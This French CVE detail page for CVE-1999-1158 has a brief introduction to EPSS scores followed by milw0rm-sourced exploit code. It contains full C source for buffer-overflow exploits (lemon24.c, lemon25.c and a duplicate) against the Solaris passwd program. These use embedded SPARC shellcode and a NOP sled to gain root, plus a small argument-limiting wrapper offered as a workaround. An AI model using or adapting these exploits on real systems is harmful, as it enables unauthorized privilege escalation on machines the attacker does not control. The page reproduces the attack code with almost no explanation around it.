CVE-1999-1158 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

---------------------------- file newpass.c ------------------------------- #include <stdio.h> #include <syslog.h> #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i<argc; i++) { if(strlen(argv[i]) > MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ----------------------------------- // milw0rm.com [1997-07-12]

/* source: https://www.securityfocus.com/bid/201/info There is a buffer overflow condition on arguments in Pluggable Authentication Modules (PAM) and unix_scheme (5.4 and 5.3). Therefore, an unauthorized user could exploit this vulnerability via the passwd program to gain root access. Under SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, yppasswd and nispasswd are hard links to the passwd program and therefore are also vulnerable. Under SunOS 5.4 and 5.3, passwd, yppasswd, and nispasswd are separate programs but they dynamically link unix_scheme and are affected. */ /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); }